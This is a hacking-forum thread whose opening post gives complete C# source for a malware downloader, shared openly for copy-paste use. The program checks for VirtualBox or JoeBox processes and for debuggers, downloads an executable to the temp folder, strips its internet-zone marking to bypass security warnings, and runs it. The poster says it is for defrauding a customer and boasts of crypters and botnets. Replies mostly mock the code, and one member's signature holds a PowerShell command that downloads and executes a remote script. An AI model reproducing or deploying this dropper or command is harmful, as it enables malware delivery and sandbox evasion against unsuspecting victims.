DO NOT DEAL WITH THIS MEMBER
Code using System.Diagnostics;
using System;
using System.Threading;
using System.ComponentModel;
using System.Net;
using System.IO;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
namespace S2
{
[ComImport, Guid("0968e258-16c7-4dba-aa86-462dd61e31a3")]
public class PersistentZoneIdentifier
{
}
[Flags]
public enum STGM : int
{
DIRECT = 0x00000000,
TRANSACTED = 0x00010000,
SIMPLE = 0x08000000,
READ = 0x00000000,
WRITE = 0x00000001,
READWRITE = 0x00000002,
SHARE_DENY_NONE = 0x00000040,
SHARE_DENY_READ = 0x00000030,
SHARE_DENY_WRITE = 0x00000020,
SHARE_EXCLUSIVE = 0x00000010,
PRIORITY = 0x00040000,
DELETEONRELEASE = 0x04000000,
NOSCRATCH = 0x00100000,
CREATE = 0x00001000,
CONVERT = 0x00020000,
FAILIFTHERE = 0x00000000,
NOSNAPSHOT = 0x00200000,
DIRECT_SWMR = 0x00400000,
}
public enum URLZONE : uint
{
URLZONE_LOCAL_MACHINE = 0,
URLZONE_INTRANET = 1,
URLZONE_TRUSTED = 2,
URLZONE_INTERNET = 3,
URLZONE_UNTRUSTED = 4,
}
[ComImport]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("cd45f185-1b21-48e2-967b-ead743a8914e")]
public interface IZoneIdentifier
{
URLZONE GetId();
void SetId(URLZONE zone);
void Remove();
}
[EditorBrowsable(EditorBrowsableState.Never)]
static class Program
{
static Mutex _m;
[DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
static bool VM()
{
foreach (Process process in Process.GetProcesses())
{
switch (process.ProcessName.ToLower())
{
case "vboxservice.exe":
return true;
case "joeboxserver.exe":
return true;
case "joeboxcontrol.exe":
return true;
case "vboxtray.exe":
return true;
}
}
return false;
}
[STAThread]
[DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
static void Main()
{
if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
{
Environment.Exit(0);
}
else
{
_m = new Mutex(true, "PERL");
var a = WebClient().DownloadFile("link", Path.GetTempPath() + "hi.exe");
var persistentZoneIdentifier = new PersistentZoneIdentifier();
var persistFile = (IPersistFile)persistentZoneIdentifier;
persistFile.Load(Path.GetTempPath() + "hi.exe", (int)(STGM.READWRITE | STGM.SHARE_EXCLUSIVE));
var zoneIdentifier = (IZoneIdentifier)persistentZoneIdentifier;
var zone = zoneIdentifier.GetId();
zoneIdentifier.SetId(URLZONE.URLZONE_LOCAL_MACHINE);
persistFile.Save(Path.GetTempPath() + "hi.exe", true);
Process.Start(Path.GetTempPath() + "hi.exe");
}
}
}
}
Enjoy Skids!!
Thank you for trying to contribute but can you please add more detail as you what this is in your thread please and or maybe a walk through of the code.
DO NOT DEAL WITH THIS MEMBER
(Jun 21, 2018 07:36 AM)PabloEscarNark Wrote: Thank you for trying to contribute but can you please add more detail as you what this is in your thread please and or maybe a walk through of the code.
if someone doesn't understand it , they Don't Deserve it..
Jun 21, 2018 07:57 AM
(This post was last modified: Jun 21, 2018 07:59 AM by Washi.)
(Jun 21, 2018 07:37 AM)Crakxproo Wrote: if someone doesn't understand it , they Don't Deserve it..
Ok mister over-confident-coder. What is the point of your thread then? The only thing I am seeing here is a piece of source code ready to be copy pasta'd by the lurkers here. Not sure if that was your intention or not. Furthermore, if someone would've understood the concept behind this, they'd be able to code one themselves anyway.
This section is not pastebin, this section is a coding forum were we discuss code or teach others by the means of tutorials. With this attitude you won't get far here...
Also, what's up with these?
PHP Code
<?php [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
You know those attributes are only used in IDEs, and have absolutely no effect in other debuggers or other reverse engineering applications right?
Not to mention all the "== true"s I see in your if statement conditions :/
DO NOT DEAL WITH THIS MEMBER
Jun 21, 2018 08:10 AM
(This post was last modified: Jun 21, 2018 08:12 AM by Crakxproo.)
(Jun 21, 2018 07:57 AM)Washi Wrote: Ok mister over-confident-coder. What is the point of your thread then? The only thing I am seeing here is a piece of source code ready to be copy pasta'd by the lurkers here. Not sure if that was your intention or not. Furthermore, if someone would've understood the concept behind this, they'd be able to code one themselves anyway.
This section is not pastebin, this section is a coding forum were we discuss code or teach others by the means of tutorials. With this attitude you won't get far here...
Also, what's up with these?
PHP Code
<?php [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
You know those attributes are only used in IDEs, and have absolutely no effect in other debuggers or other reverse engineering applications right?
Not to mention all the "== true"s I see in your if statement conditions :/
1. With the attributes, I know they're ignored mostly, this code was for skids
2. the "== trues"'s were for all the people (skids) that can't understand code
3. Since I'm a good programmer, i'll post source codes In C# and Nim, and A few tutorials to resurgence' ( spongebob tone ) the skids
Jun 21, 2018 08:27 AM
(This post was last modified: Jun 21, 2018 08:32 AM by Xamarin.)
Ok good contribution for skids .. but as others have mentioned ... you should provide additional information, so that someone should know if he shall give some time to read and use the code (for example you could say that you have added a very simple VM detection).
Also about the code .... as people before me said, the attributes do not have any reason of existence. Additionally, in statements like this:
Code if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
{
Environment.Exit(0);
}
else
{
....
}
you can use a reverse if to reduce "clatter" in your code and make it more readable/beautiful.
DO NOT DEAL WITH THIS MEMBER
Jun 21, 2018 08:37 AM
(This post was last modified: Jun 21, 2018 09:01 AM by Crakxproo.)
(Jun 21, 2018 08:27 AM)Xamarin Wrote: Ok good contribution for skids .. but as others have mentioned ... you should provide additional information, so that someone should know if he shall give some time to read and use the code (for example you could say that you have added a very simple VM detection).
Also about the code .... as people before me said, the attributes do not have any reason of existence. Additionally, in statements like this:
Code if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
{
Environment.Exit(0);
}
else
{
....
}
you can use a reverse if to reduce "clatter" in your code and make it more readable/beautiful.
It's mean't for skids..?
It's only mean't for copy and paste so someone can ripoff a customer as a joke with a cheap USG
(Jun 21, 2018 07:57 AM)Washi Wrote: Ok mister over-confident-coder. What is the point of your thread then? The only thing I am seeing here is a piece of source code ready to be copy pasta'd by the lurkers here. Not sure if that was your intention or not. Furthermore, if someone would've understood the concept behind this, they'd be able to code one themselves anyway.
This section is not pastebin, this section is a coding forum were we discuss code or teach others by the means of tutorials. With this attitude you won't get far here...
Also, what's up with these?
PHP Code
<?php [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
You know those attributes are only used in IDEs, and have absolutely no effect in other debuggers or other reverse engineering applications right?
Not to mention all the "== true"s I see in your if statement conditions :/
To bad, so Sadd.
plus don't act like i should'net do this, plus most coders keep secrets, soon ill make botnet sources watch me..
Jun 21, 2018 09:14 AM
(This post was last modified: Jun 21, 2018 09:15 AM by Washi.)
(Jun 21, 2018 08:37 AM)Crakxproo Wrote: It's mean't for skids..?
It's only mean't for copy and paste so someone can ripoff a customer as a joke with a cheap USG
To bad, so Sadd.
plus don't act like i should'net do this, plus most coders keep secrets, soon ill make botnet sources watch me..
You completely missed the point lol.
Ok man. You do you. A happy ending for everyone.
DO NOT DEAL WITH THIS MEMBER
(Jun 21, 2018 09:14 AM)Washi Wrote: You completely missed the point lol.
Ok man. You do you. A happy ending for everyone.
why do that to my rep?
(Jun 21, 2018 10:03 AM)Crakxproo Wrote: why do that to my rep?
From what it looks like, you seem to be really toxic, and every other reply is pure aids.
This for example:
Quote:1. With the attributes, I know they're ignored mostly, this code was for skids
2. the "== trues"'s were for all the people (skids) that can't understand code
3. Since I'm a good programmer, i'll post source codes In C# and Nim, and A few tutorials to resurgence' ( spongebob tone ) the skids
You called yourself a good programmer, but doing if(bool == true) is the exact opposite of being a good programmer, then you said it's for the "skids", if so why not simply release a builder for it anyway, but to contradict that, you then said Quote:if someone doesn't understand it , they Don't Deserve it..
so why even use if(bool == true), and you're grammar is terrible / what you write is hard / painful to read.
You just seem like a bit of a twat
DO NOT DEAL WITH THIS MEMBER
Jun 21, 2018 11:05 AM
(This post was last modified: Jun 21, 2018 11:13 AM by Crakxproo.)
(Jun 21, 2018 10:41 AM)Pengers Wrote: From what it looks like, you seem to be really toxic, and every other reply is pure aids.
This for example:
You called yourself a good programmer, but doing if(bool == true) is the exact opposite of being a good programmer, then you said it's for the "skids", if so why not simply release a builder for it anyway, but to contradict that, you then said so why even use if(bool == true), and you're grammar is terrible / what you write is hard / painful to read.
You just seem like a bit of a twat
Either way don't say that because it shouldn't matter to you. Plus, I'm working on a C crypter thats Near FUD, and it shouldn't be your job to project your opinion as a fact, which can either be true or false .
I'm also working on a botnet to prove myself worthy.. Peace you Hypocrite
(Jun 21, 2018 10:41 AM)Pengers Wrote: From what it looks like, you seem to be really toxic, and every other reply is pure aids.
This for example:
You called yourself a good programmer, but doing if(bool == true) is the exact opposite of being a good programmer, then you said it's for the "skids", if so why not simply release a builder for it anyway, but to contradict that, you then said so why even use if(bool == true), and you're grammar is terrible / what you write is hard / painful to read.
You just seem like a bit of a twat
On Other, Competing forums, i have accounts which are built up and have good rep..
Soon, there will be tons of mini-botnets around once I wake up the skids
(Jun 21, 2018 08:10 AM)Crakxproo Wrote: Since I'm a good programmer
Then prove it instead of posting trash over and over again.
(Jun 21, 2018 10:03 AM)Crakxproo Wrote: why do that to my rep?
He didn't, you did.
(Jun 21, 2018 11:05 AM)Crakxproo Wrote: Peace you Hypocrite
I don't think you know what a hypocrite is.
Jun 21, 2018 04:20 PM
(This post was last modified: Jun 21, 2018 04:26 PM by Nick (Name).)
Can't tell you how many times I've reported your threads/post, I honestly want you gone you're no help copying and pasting from old threads or from StackOverflow and then calling yourself an "good programmer". You're annoying and low quality, you spam copy and paste shit in this section that other members have done before, I really don't want your trash in this section, and hope your threads and posts get purged when you get exiled.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"![[Image: f4hRdFS.gif]](https://i.imgur.com/f4hRdFS.gif)
DO NOT DEAL WITH THIS MEMBER
(Jun 21, 2018 04:20 PM)Nick (Name) Wrote: Can't tell you how many times I've reported your threads/post, I honestly want you gone you're no help copying and pasting from old threads or from StackOverflow and then calling yourself an "good programmer". You're annoying and low quality, you spam copy and paste shit in this section that other members have done before, I really don't want your trash in this section, and hope your threads and posts get purged when you get exiled.
what did you expect from a retard who sells an "uncrackable confuserex paste"
DO NOT DEAL WITH THIS MEMBER
(Jun 21, 2018 04:35 PM)int Wrote: what did you expect from a retard who sells an "uncrackable confuserex paste"
I'll prove myself with the new botnet I have..
|